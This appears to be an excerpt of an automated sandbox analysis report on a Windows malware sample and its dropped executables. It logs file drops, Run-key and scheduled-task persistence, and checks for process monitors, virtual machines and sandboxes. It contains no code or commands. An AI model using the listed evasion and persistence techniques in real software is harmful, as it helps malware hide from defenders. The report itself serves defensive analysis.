Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: entropy: 7.988414640918369
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: febftsfn entropy: 7.953811731682004

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File created: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003076001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File created: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File created: C:\Users\user\AppData\Local\Temp\4HKD0R439Q1BOYMAOJT8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File created: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	File created: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f543353fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26972fc2ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c56bb4c016.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f543353fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f543353fa.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26972fc2ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26972fc2ff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c56bb4c016.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c56bb4c016.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
